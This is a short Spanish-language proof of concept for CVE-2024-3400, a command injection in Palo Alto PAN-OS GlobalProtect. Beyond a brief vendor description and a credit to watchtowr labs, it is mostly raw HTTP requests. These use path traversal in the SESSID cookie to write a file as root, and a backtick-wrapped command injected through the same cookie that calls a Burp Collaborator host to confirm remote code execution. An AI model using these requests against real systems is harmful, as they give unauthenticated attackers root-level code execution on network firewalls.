
CVE-2024-3400 PAN-OS: Vulnerabilidad de Inyección de Comandos del SO en GlobalProtect
CVE-2024-3400 Inyección de comandos en Palo Alto OS
Descripción del proveedor
Una vulnerabilidad de inyección de comandos en la funcionalidad GlobalProtect del software PAN-OS de Palo Alto Networks para versiones específicas de PAN-OS y configuraciones de funcionalidades distintas puede permitir a un atacante no autenticado ejecutar código arbitrario con privilegios de root en el firewall.
Kudos para watchtowr labs 🚀
Solicitud HTTP:
POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: 127.0.0.1
Cookie: SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/poc.txt;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
poc.txt debería crearse en esta ruta /var/appweb/sslvpndocs/global-protect/portal/images/poc.tx con privilegio de root.
Si es vulnerable, recibirás un 403 al acceder a poc.txt en lugar de un 404.
GET /global-protect/portal/images/poc.txt HTTP/1.1
Host: 127.0.0.1
Connection: close
La telemetría debe estar habilitada.
Puedes usar Burp Collaborator para la verificación de RCE.
POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: 127.0.0.1
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`hostname${IFS}burpcollaborator.net `;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0